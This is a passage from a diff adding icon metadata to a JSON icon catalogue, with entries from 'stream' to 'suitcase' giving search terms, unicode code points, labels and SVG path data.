+ ] + }, + "stream": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "flow", + "list", + "timeline" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f550", + "label": "Stream", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635729, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M16 128h416c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H16C7.16 32 0 39.16 0 48v64c0 8.84 7.16 16 16 16zm480 80H80c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm-64 176H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M16 128h416c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H16C7.16 32 0 39.16 0 48v64c0 8.84 7.16 16 16 16zm480 80H80c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm-64 176H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "street-view": { + "changes": [ + "4.3", + "5.0.0", + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "directions", + "location", + "map", + "navigation" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f21d", + "label": "Street View", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635730, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M367.9 329.76c-4.62 5.3-9.78 10.1-15.9 13.65v22.94c66.52 9.34 112 28.05 112 49.65 0 30.93-93.12 56-208 56S48 446.93 48 416c0-21.6 45.48-40.3 112-49.65v-22.94c-6.12-3.55-11.28-8.35-15.9-13.65C58.87 345.34 0 378.05 0 416c0 53.02 114.62 96 256 96s256-42.98 256-96c0-37.95-58.87-70.66-144.1-86.24zM256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-64 192v96c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-96c17.67 0 32-14.33 32-32v-96c0-26.51-21.49-48-48-48h-11.8c-11.07 5.03-23.26 8-36.2 8s-25.13-2.97-36.2-8H208c-26.51 0-48 21.49-48 48v96c0 17.67 14.33 32 32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M367.9 329.76c-4.62 5.3-9.78 10.1-15.9 13.65v22.94c66.52 9.34 112 28.05 112 49.65 0 30.93-93.12 56-208 56S48 446.93 48 416c0-21.6 45.48-40.3 112-49.65v-22.94c-6.12-3.55-11.28-8.35-15.9-13.65C58.87 345.34 0 378.05 0 416c0 53.02 114.62 96 256 96s256-42.98 256-96c0-37.95-58.87-70.66-144.1-86.24zM256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-64 192v96c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-96c17.67 0 32-14.33 32-32v-96c0-26.51-21.49-48-48-48h-11.8c-11.07 5.03-23.26 8-36.2 8s-25.13-2.97-36.2-8H208c-26.51 0-48 21.49-48 48v96c0 17.67 14.33 32 32 32z" + } + }, + "free": [ + "solid" + ] + }, + "strikethrough": { + "changes": [ + "2", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cancel", + "edit", + "font", + "format", + "text", + "type" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0cc", + "label": "Strikethrough", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635731, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496 224H293.9l-87.17-26.83A43.55 43.55 0 0 1 219.55 112h66.79A49.89 49.89 0 0 1 331 139.58a16 16 0 0 0 21.46 7.15l42.94-21.47a16 16 0 0 0 7.16-21.46l-.53-1A128 128 0 0 0 287.51 32h-68a123.68 123.68 0 0 0-123 135.64c2 20.89 10.1 39.83 21.78 56.36H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-180.24 96A43 43 0 0 1 336 356.45 43.59 43.59 0 0 1 292.45 400h-66.79A49.89 49.89 0 0 1 181 372.42a16 16 0 0 0-21.46-7.15l-42.94 21.47a16 16 0 0 0-7.16 21.46l.53 1A128 128 0 0 0 224.49 480h68a123.68 123.68 0 0 0 123-135.64 114.25 114.25 0 0 0-5.34-24.36z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M496 224H293.9l-87.17-26.83A43.55 43.55 0 0 1 219.55 112h66.79A49.89 49.89 0 0 1 331 139.58a16 16 0 0 0 21.46 7.15l42.94-21.47a16 16 0 0 0 7.16-21.46l-.53-1A128 128 0 0 0 287.51 32h-68a123.68 123.68 0 0 0-123 135.64c2 20.89 10.1 39.83 21.78 56.36H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-180.24 96A43 43 0 0 1 336 356.45 43.59 43.59 0 0 1 292.45 400h-66.79A49.89 49.89 0 0 1 181 372.42a16 16 0 0 0-21.46-7.15l-42.94 21.47a16 16 0 0 0-7.16 21.46l.53 1A128 128 0 0 0 224.49 480h68a123.68 123.68 0 0 0 123-135.64 114.25 114.25 0 0 0-5.34-24.36z" + } + }, + "free": [ + "solid" + ] + }, + "stripe": { + "changes": [ + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f429", + "label": "Stripe", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722338, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M165 144.7l-43.3 9.2-.2 142.4c0 26.3 19.8 43.3 46.1 43.3 14.6 0 25.3-2.7 31.2-5.9v-33.8c-5.7 2.3-33.7 10.5-33.7-15.7V221h33.7v-37.8h-33.7zm89.1 51.6l-2.7-13.1H213v153.2h44.3V233.3c10.5-13.8 28.2-11.1 33.9-9.3v-40.8c-6-2.1-26.7-6-37.1 13.1zm92.3-72.3l-44.6 9.5v36.2l44.6-9.5zM44.9 228.3c0-6.9 5.8-9.6 15.1-9.7 13.5 0 30.7 4.1 44.2 11.4v-41.8c-14.7-5.8-29.4-8.1-44.1-8.1-36 0-60 18.8-60 50.2 0 49.2 67.5 41.2 67.5 62.4 0 8.2-7.1 10.9-17 10.9-14.7 0-33.7-6.1-48.6-14.2v40c16.5 7.1 33.2 10.1 48.5 10.1 36.9 0 62.3-15.8 62.3-47.8 0-52.9-67.9-43.4-67.9-63.4zM640 261.6c0-45.5-22-81.4-64.2-81.4s-67.9 35.9-67.9 81.1c0 53.5 30.3 78.2 73.5 78.2 21.2 0 37.1-4.8 49.2-11.5v-33.4c-12.1 6.1-26 9.8-43.6 9.8-17.3 0-32.5-6.1-34.5-26.9h86.9c.2-2.3.6-11.6.6-15.9zm-87.9-16.8c0-20 12.3-28.4 23.4-28.4 10.9 0 22.5 8.4 22.5 28.4zm-112.9-64.6c-17.4 0-28.6 8.2-34.8 13.9l-2.3-11H363v204.8l44.4-9.4.1-50.2c6.4 4.7 15.9 11.2 31.4 11.2 31.8 0 60.8-23.2 60.8-79.6.1-51.6-29.3-79.7-60.5-79.7zm-10.6 122.5c-10.4 0-16.6-3.8-20.9-8.4l-.3-66c4.6-5.1 11-8.8 21.2-8.8 16.2 0 27.4 18.2 27.4 41.4.1 23.9-10.9 41.8-27.4 41.8zm-126.7 33.7h44.6V183.2h-44.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M165 144.7l-43.3 9.2-.2 142.4c0 26.3 19.8 43.3 46.1 43.3 14.6 0 25.3-2.7 31.2-5.9v-33.8c-5.7 2.3-33.7 10.5-33.7-15.7V221h33.7v-37.8h-33.7zm89.1 51.6l-2.7-13.1H213v153.2h44.3V233.3c10.5-13.8 28.2-11.1 33.9-9.3v-40.8c-6-2.1-26.7-6-37.1 13.1zm92.3-72.3l-44.6 9.5v36.2l44.6-9.5zM44.9 228.3c0-6.9 5.8-9.6 15.1-9.7 13.5 0 30.7 4.1 44.2 11.4v-41.8c-14.7-5.8-29.4-8.1-44.1-8.1-36 0-60 18.8-60 50.2 0 49.2 67.5 41.2 67.5 62.4 0 8.2-7.1 10.9-17 10.9-14.7 0-33.7-6.1-48.6-14.2v40c16.5 7.1 33.2 10.1 48.5 10.1 36.9 0 62.3-15.8 62.3-47.8 0-52.9-67.9-43.4-67.9-63.4zM640 261.6c0-45.5-22-81.4-64.2-81.4s-67.9 35.9-67.9 81.1c0 53.5 30.3 78.2 73.5 78.2 21.2 0 37.1-4.8 49.2-11.5v-33.4c-12.1 6.1-26 9.8-43.6 9.8-17.3 0-32.5-6.1-34.5-26.9h86.9c.2-2.3.6-11.6.6-15.9zm-87.9-16.8c0-20 12.3-28.4 23.4-28.4 10.9 0 22.5 8.4 22.5 28.4zm-112.9-64.6c-17.4 0-28.6 8.2-34.8 13.9l-2.3-11H363v204.8l44.4-9.4.1-50.2c6.4 4.7 15.9 11.2 31.4 11.2 31.8 0 60.8-23.2 60.8-79.6.1-51.6-29.3-79.7-60.5-79.7zm-10.6 122.5c-10.4 0-16.6-3.8-20.9-8.4l-.3-66c4.6-5.1 11-8.8 21.2-8.8 16.2 0 27.4 18.2 27.4 41.4.1 23.9-10.9 41.8-27.4 41.8zm-126.7 33.7h44.6V183.2h-44.6z" + } + }, + "free": [ + "brands" + ] + }, + "stripe-s": { + "changes": [ + "5.0.1", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f42a", + "label": "Stripe S", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775919, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M155.3 154.6c0-22.3 18.6-30.9 48.4-30.9 43.4 0 98.5 13.3 141.9 36.7V26.1C298.3 7.2 251.1 0 203.8 0 88.1 0 11 60.4 11 161.4c0 157.9 216.8 132.3 216.8 200.4 0 26.4-22.9 34.9-54.7 34.9-47.2 0-108.2-19.5-156.1-45.5v128.5a396.09 396.09 0 0 0 156 32.4c118.6 0 200.3-51 200.3-153.6 0-170.2-218-139.7-218-203.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M155.3 154.6c0-22.3 18.6-30.9 48.4-30.9 43.4 0 98.5 13.3 141.9 36.7V26.1C298.3 7.2 251.1 0 203.8 0 88.1 0 11 60.4 11 161.4c0 157.9 216.8 132.3 216.8 200.4 0 26.4-22.9 34.9-54.7 34.9-47.2 0-108.2-19.5-156.1-45.5v128.5a396.09 396.09 0 0 0 156 32.4c118.6 0 200.3-51 200.3-153.6 0-170.2-218-139.7-218-203.9z" + } + }, + "free": [ + "brands" + ] + }, + "stroopwafel": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "caramel", + "cookie", + "dessert", + "sweets", + "waffle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f551", + "label": "Stroopwafel", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635731, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M188.12 210.74L142.86 256l45.25 45.25L233.37 256l-45.25-45.26zm113.13-22.62L256 142.86l-45.25 45.25L256 233.37l45.25-45.25zm-90.5 135.76L256 369.14l45.26-45.26L256 278.63l-45.25 45.25zM256 0C114.62 0 0 114.62 0 256s114.62 256 256 256 256-114.62 256-256S397.38 0 256 0zm186.68 295.6l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-28.29-28.29-45.25 45.25 33.94 33.94 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-33.94-33.94-45.26 45.26 28.29 28.29c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0L256 414.39l-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l28.29-28.29-45.25-45.26-33.94 33.94 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 33.94-33.94-45.25-45.25-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0L69.32 295.6c-3.12-3.12-3.12-8.19 0-11.31L97.61 256l-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l28.29 28.29 45.25-45.26-33.94-33.94-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 33.94 33.94 45.26-45.25-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0L256 97.61l28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-28.29 28.29 45.26 45.25 33.94-33.94-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-33.94 33.94 45.25 45.26 28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31L414.39 256l28.29 28.28a8.015 8.015 0 0 1 0 11.32zM278.63 256l45.26 45.25L369.14 256l-45.25-45.26L278.63 256z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M188.12 210.74L142.86 256l45.25 45.25L233.37 256l-45.25-45.26zm113.13-22.62L256 142.86l-45.25 45.25L256 233.37l45.25-45.25zm-90.5 135.76L256 369.14l45.26-45.26L256 278.63l-45.25 45.25zM256 0C114.62 0 0 114.62 0 256s114.62 256 256 256 256-114.62 256-256S397.38 0 256 0zm186.68 295.6l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-28.29-28.29-45.25 45.25 33.94 33.94 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-33.94-33.94-45.26 45.26 28.29 28.29c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0L256 414.39l-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l28.29-28.29-45.25-45.26-33.94 33.94 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 33.94-33.94-45.25-45.25-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0L69.32 295.6c-3.12-3.12-3.12-8.19 0-11.31L97.61 256l-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l28.29 28.29 45.25-45.26-33.94-33.94-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 33.94 33.94 45.26-45.25-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0L256 97.61l28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-28.29 28.29 45.26 45.25 33.94-33.94-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-33.94 33.94 45.25 45.26 28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31L414.39 256l28.29 28.28a8.015 8.015 0 0 1 0 11.32zM278.63 256l45.26 45.25L369.14 256l-45.25-45.26L278.63 256z" + } + }, + "free": [ + "solid" + ] + }, + "studiovinari": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3f8", + "label": "Studio Vinari", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861023, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480.3 187.7l4.2 28v28l-25.1 44.1-39.8 78.4-56.1 67.5-79.1 37.8-17.7 24.5-7.7 12-9.6 4s17.3-63.6 19.4-63.6c2.1 0 20.3.7 20.3.7l66.7-38.6-92.5 26.1-55.9 36.8-22.8 28-6.6 1.4 20.8-73.6 6.9-5.5 20.7 12.9 88.3-45.2 56.8-51.5 14.8-68.4-125.4 23.3 15.2-18.2-173.4-53.3 81.9-10.5-166-122.9L133.5 108 32.2 0l252.9 126.6-31.5-38L378 163 234.7 64l18.7 38.4-49.6-18.1L158.3 0l194.6 122L310 66.2l108 96.4 12-8.9-21-16.4 4.2-37.8L451 89.1l29.2 24.7 11.5 4.2-7 6.2 8.5 12-13.1 7.4-10.3 20.2 10.5 23.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M480.3 187.7l4.2 28v28l-25.1 44.1-39.8 78.4-56.1 67.5-79.1 37.8-17.7 24.5-7.7 12-9.6 4s17.3-63.6 19.4-63.6c2.1 0 20.3.7 20.3.7l66.7-38.6-92.5 26.1-55.9 36.8-22.8 28-6.6 1.4 20.8-73.6 6.9-5.5 20.7 12.9 88.3-45.2 56.8-51.5 14.8-68.4-125.4 23.3 15.2-18.2-173.4-53.3 81.9-10.5-166-122.9L133.5 108 32.2 0l252.9 126.6-31.5-38L378 163 234.7 64l18.7 38.4-49.6-18.1L158.3 0l194.6 122L310 66.2l108 96.4 12-8.9-21-16.4 4.2-37.8L451 89.1l29.2 24.7 11.5 4.2-7 6.2 8.5 12-13.1 7.4-10.3 20.2 10.5 23.9z" + } + }, + "free": [ + "brands" + ] + }, + "stumbleupon": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1a4", + "label": "StumbleUpon Logo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861023, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.9 266v69.7c0 62.1-50.3 112.4-112.4 112.4-61.8 0-112.4-49.8-112.4-111.3v-70.2l34.3 16 51.1-15.2V338c0 14.7 12 26.5 26.7 26.5S417 352.7 417 338v-72h85.9zm-224.7-58.2l34.3 16 51.1-15.2V173c0-60.5-51.1-109-112.1-109-60.8 0-112.1 48.2-112.1 108.2v162.4c0 14.9-12 26.7-26.7 26.7S86 349.5 86 334.6V266H0v69.7C0 397.7 50.3 448 112.4 448c61.6 0 112.4-49.5 112.4-110.8V176.9c0-14.7 12-26.7 26.7-26.7s26.7 12 26.7 26.7v30.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M502.9 266v69.7c0 62.1-50.3 112.4-112.4 112.4-61.8 0-112.4-49.8-112.4-111.3v-70.2l34.3 16 51.1-15.2V338c0 14.7 12 26.5 26.7 26.5S417 352.7 417 338v-72h85.9zm-224.7-58.2l34.3 16 51.1-15.2V173c0-60.5-51.1-109-112.1-109-60.8 0-112.1 48.2-112.1 108.2v162.4c0 14.9-12 26.7-26.7 26.7S86 349.5 86 334.6V266H0v69.7C0 397.7 50.3 448 112.4 448c61.6 0 112.4-49.5 112.4-110.8V176.9c0-14.7 12-26.7 26.7-26.7s26.7 12 26.7 26.7v30.9z" + } + }, + "free": [ + "brands" + ] + }, + "stumbleupon-circle": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1a3", + "label": "StumbleUpon Circle", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861023, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 177.5c-9.8 0-17.8 8-17.8 17.8v106.9c0 40.9-33.9 73.9-74.9 73.9-41.4 0-74.9-33.5-74.9-74.9v-46.5h57.3v45.8c0 10 8 17.8 17.8 17.8s17.8-7.9 17.8-17.8V200.1c0-40 34.2-72.1 74.7-72.1 40.7 0 74.7 32.3 74.7 72.6v23.7l-34.1 10.1-22.9-10.7v-20.6c.1-9.6-7.9-17.6-17.7-17.6zm167.6 123.6c0 41.4-33.5 74.9-74.9 74.9-41.2 0-74.9-33.2-74.9-74.2V263l22.9 10.7 34.1-10.1v47.1c0 9.8 8 17.6 17.8 17.6s17.8-7.9 17.8-17.6v-48h57.3c-.1 45.9-.1 46.4-.1 46.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 177.5c-9.8 0-17.8 8-17.8 17.8v106.9c0 40.9-33.9 73.9-74.9 73.9-41.4 0-74.9-33.5-74.9-74.9v-46.5h57.3v45.8c0 10 8 17.8 17.8 17.8s17.8-7.9 17.8-17.8V200.1c0-40 34.2-72.1 74.7-72.1 40.7 0 74.7 32.3 74.7 72.6v23.7l-34.1 10.1-22.9-10.7v-20.6c.1-9.6-7.9-17.6-17.7-17.6zm167.6 123.6c0 41.4-33.5 74.9-74.9 74.9-41.2 0-74.9-33.2-74.9-74.2V263l22.9 10.7 34.1-10.1v47.1c0 9.8 8 17.6 17.8 17.6s17.8-7.9 17.8-17.6v-48h57.3c-.1 45.9-.1 46.4-.1 46.4z" + } + }, + "free": [ + "brands" + ] + }, + "subscript": { + "changes": [ + "3.1", + "5.0.0", + "5.9.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "edit", + "font", + "format", + "text", + "type" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f12c", + "label": "subscript", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635731, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496 448h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 352h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M496 448h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 352h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "subway": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "machine", + "railway", + "train", + "transportation", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f239", + "label": "Subway", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635731, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zM200 232V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm200 0V120c0-13.255-10.745-24-24-24H272c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm-48 56c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm-256 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zM200 232V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm200 0V120c0-13.255-10.745-24-24-24H272c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm-48 56c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm-256 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z" + } + }, + "free": [ + "solid" + ] + }, + "suitcase": { + "changes": [ + "3", + "5.0.0", + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "baggage", + "luggage", + "move", + "suitcase", + "travel", + "trip" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0f2", + "label": "Suitcase", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635732, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 480h256V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v400zm64-384h128v32H192V96zm320 80v256c0 26.5-21.5 48-48 48h-48V128h48c26.5 0 48 21.5 48 48zM96 480H48c-26.5 